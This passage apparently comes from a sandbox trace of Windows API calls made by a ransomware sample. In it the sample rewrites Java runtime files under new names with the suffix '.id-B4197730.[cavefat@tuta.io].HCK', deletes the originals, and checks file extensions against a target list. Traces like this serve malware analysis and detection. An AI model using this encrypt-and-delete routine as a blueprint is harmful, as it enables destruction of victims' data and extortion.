lpOverlapped=0x0) returned 1 [0226.731] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xf60, lpOverlapped=0x0) returned 1 [0226.732] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.732] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xfc, lpOverlapped=0x0) returned 1 [0226.732] SetEndOfFile (hFile=0x448) returned 1 [0226.733] CloseHandle (hObject=0x448) returned 1 [0226.733] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.733] SetEndOfFile (hFile=0x458) returned 1 [0226.735] CloseHandle (hObject=0x458) returned 1 [0226.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.735] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1 [0226.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0226.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0226.736] lstrlenW (lpString=".doc") returned 4 [0226.736] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.736] lstrlenW (lpString=".docx") returned 5 [0226.736] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.736] lstrlenW (lpString=".pdf") returned 4 [0226.736] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.736] lstrlenW (lpString=".xls") returned 4 [0226.736] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.736] lstrlenW (lpString=".xlsx") returned 5 [0226.736] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.736] lstrlenW (lpString=".ppt") returned 4 [0226.736] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0226.736] lstrlenW (lpString=".zip") returned 4 [0226.736] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.736] lstrlenW (lpString=".rar") returned 4 [0226.736] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.736] lstrlenW (lpString=".bz2") returned 4 [0226.736] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.736] lstrlenW (lpString=".7z") returned 3 [0226.736] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0226.736] lstrlenW (lpString=".dbf") returned 4 [0226.736] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0226.736] lstrlenW (lpString=".1cd") returned 4 [0226.736] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0226.736] lstrlenW (lpString=".jpg") returned 4 [0226.736] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.736] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0226.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0226.737] lstrlenW (lpString=".doc") returned 4 [0226.737] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0226.737] lstrlenW (lpString=".docx") returned 5 [0226.737] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0226.737] lstrlenW (lpString=".pdf") returned 4 [0226.737] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0226.737] lstrlenW (lpString=".xls") returned 4 [0226.737] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0226.737] lstrlenW (lpString=".xlsx") returned 5 [0226.737] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0226.737] lstrlenW (lpString=".ppt") returned 4 [0226.737] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0226.737] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0226.737] lstrlenW (lpString=".zip") returned 4 [0226.737] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0226.737] lstrlenW (lpString=".rar") returned 4 [0226.737] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0226.737] lstrlenW (lpString=".bz2") returned 4 [0226.747] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0226.747] lstrlenW (lpString=".7z") returned 3 [0226.747] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0226.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0226.747] lstrlenW (lpString=".dbf") returned 4 [0226.747] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0226.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0226.747] lstrlenW (lpString=".1cd") returned 4 [0226.747] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0226.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0226.747] lstrlenW (lpString=".jpg") returned 4 [0226.747] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0226.747] lstrcmpiW (lpString1=".bfc", lpString2=".HCK") returned -1 [0226.748] lstrlenW (lpString="fontconfig.bfc") returned 14 [0226.748] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.757] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=3770) returned 1 [0226.757] CloseHandle (hObject=0x458) returned 1 [0226.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20 [0226.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.757] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.757] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.757] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.758] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.758] GetLastError () returned 0x0 [0226.758] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0xeba, lpOverlapped=0x0) returned 1 [0226.759] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec0, lpOverlapped=0x0) returned 1 [0226.762] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0226.762] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xf0, lpOverlapped=0x0) returned 1 [0226.762] SetEndOfFile (hFile=0x448) returned 1 [0226.762] CloseHandle (hObject=0x448) returned 1 [0226.762] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.762] SetEndOfFile (hFile=0x458) returned 1 [0226.766] CloseHandle (hObject=0x458) returned 1 [0226.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0226.767] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1 [0226.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0226.767] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0226.767] lstrlenW (lpString=".doc") returned 4 [0226.767] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0226.767] lstrlenW (lpString=".docx") returned 5 [0226.767] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0226.767] lstrlenW (lpString=".pdf") returned 4 [0226.767] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0226.767] lstrlenW (lpString=".xls") returned 4 [0226.767] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0226.767] lstrlenW (lpString=".xlsx") returned 5 [0226.768] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0226.768] lstrlenW (lpString=".ppt") returned 4 [0226.768] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0226.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0226.768] lstrlenW (lpString=".zip") returned 4 [0226.768] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0226.768] lstrlenW (lpString=".rar") returned 4 [0226.768] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0226.768] lstrlenW (lpString=".bz2") returned 4 [0226.768] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0226.768] lstrlenW (lpString=".7z") returned 3 [0226.768] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0226.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0226.768] lstrlenW (lpString=".dbf") returned 4 [0226.768] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0226.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0226.768] lstrlenW (lpString=".1cd") returned 4 [0226.768] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0226.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0226.768] lstrlenW (lpString=".jpg") returned 4 [0226.768] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0226.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0226.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0226.768] lstrlenW (lpString=".doc") returned 4 [0226.768] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0226.768] lstrlenW (lpString=".docx") returned 5 [0226.768] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0226.768] lstrlenW (lpString=".pdf") returned 4 [0226.768] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0226.768] lstrlenW (lpString=".xls") returned 4 [0226.768] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0226.768] lstrlenW (lpString=".xlsx") returned 5 [0226.768] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0226.768] lstrlenW (lpString=".ppt") returned 4 [0226.768] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0226.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0226.768] lstrlenW (lpString=".zip") returned 4 [0226.769] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0226.769] lstrlenW (lpString=".rar") returned 4 [0226.769] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0226.769] lstrlenW (lpString=".bz2") returned 4 [0226.769] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0226.769] lstrlenW (lpString=".7z") returned 3 [0226.769] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0226.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0226.769] lstrlenW (lpString=".dbf") returned 4 [0226.769] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0226.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0226.769] lstrlenW (lpString=".1cd") returned 4 [0226.769] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0226.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0226.769] lstrlenW (lpString=".jpg") returned 4 [0226.769] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0226.769] lstrcmpiW (lpString1=".src", lpString2=".HCK") returned 1 [0226.769] lstrlenW (lpString="fontconfig.properties.src") returned 25 [0226.769] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.770] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=10568) returned 1 [0226.770] CloseHandle (hObject=0x458) returned 1 [0226.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20 [0226.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0226.770] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.770] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.770] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.770] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0226.771] GetLastError () returned 0x0 [0226.771] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x2948, lpOverlapped=0x0) returned 1 [0226.772] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x2950, lpOverlapped=0x0) returned 1 [0227.157] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.157] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x106, lpOverlapped=0x0) returned 1 [0227.157] SetEndOfFile (hFile=0x448) returned 1 [0227.157] CloseHandle (hObject=0x448) returned 1 [0227.157] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.157] SetEndOfFile (hFile=0x458) returned 1 [0227.160] CloseHandle (hObject=0x458) returned 1 [0227.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0227.161] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1 [0227.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0227.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0227.162] lstrlenW (lpString=".doc") returned 4 [0227.162] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0227.162] lstrlenW (lpString=".docx") returned 5 [0227.162] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0227.162] lstrlenW (lpString=".pdf") returned 4 [0227.162] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0227.162] lstrlenW (lpString=".xls") returned 4 [0227.162] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0227.162] lstrlenW (lpString=".xlsx") returned 5 [0227.162] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0227.162] lstrlenW (lpString=".ppt") returned 4 [0227.162] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0227.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0227.162] lstrlenW (lpString=".zip") returned 4 [0227.162] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0227.162] lstrlenW (lpString=".rar") returned 4 [0227.162] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0227.162] lstrlenW (lpString=".bz2") returned 4 [0227.162] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0227.162] lstrlenW (lpString=".7z") returned 3 [0227.162] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0227.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0227.162] lstrlenW (lpString=".dbf") returned 4 [0227.162] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0227.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0227.162] lstrlenW (lpString=".1cd") returned 4 [0227.162] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0227.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0227.162] lstrlenW (lpString=".jpg") returned 4 [0227.162] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0227.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0227.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0227.162] lstrlenW (lpString=".doc") returned 4 [0227.162] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0227.162] lstrlenW (lpString=".docx") returned 5 [0227.162] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0227.162] lstrlenW (lpString=".pdf") returned 4 [0227.162] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0227.162] lstrlenW (lpString=".xls") returned 4 [0227.162] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0227.163] lstrlenW (lpString=".xlsx") returned 5 [0227.163] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0227.163] lstrlenW (lpString=".ppt") returned 4 [0227.163] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0227.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0227.163] lstrlenW (lpString=".zip") returned 4 [0227.163] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0227.163] lstrlenW (lpString=".rar") returned 4 [0227.163] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0227.163] lstrlenW (lpString=".bz2") returned 4 [0227.163] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0227.163] lstrlenW (lpString=".7z") returned 3 [0227.163] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0227.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0227.163] lstrlenW (lpString=".dbf") returned 4 [0227.163] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0227.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0227.163] lstrlenW (lpString=".1cd") returned 4 [0227.163] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0227.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0227.163] lstrlenW (lpString=".jpg") returned 4 [0227.163] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0227.163] lstrcmpiW (lpString1=".ttf", lpString2=".HCK") returned 1 [0227.163] lstrlenW (lpString="LucidaSansDemiBold.ttf") returned 22 [0227.163] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.164] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=317896) returned 1 [0227.164] CloseHandle (hObject=0x458) returned 1 [0227.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 0x20 [0227.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.164] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.164] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.164] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.164] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0227.165] GetLastError () returned 0x0 [0227.165] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x4d9c8, lpOverlapped=0x0) returned 1 [0227.175] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x4d9d0, lpOverlapped=0x0) returned 1 [0227.179] ReadFile (in: hFile=0x458, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.179] WriteFile (in: hFile=0x448, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x100, lpOverlapped=0x0) returned 1 [0227.179] SetEndOfFile (hFile=0x448) returned 1 [0227.179] CloseHandle (hObject=0x448) returned 1 [0227.180] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.180] SetEndOfFile (hFile=0x458) returned 1 [0227.186] CloseHandle (hObject=0x458) returned 1 [0227.186] SetFileAttributesW (lpFileName="C:\\Program 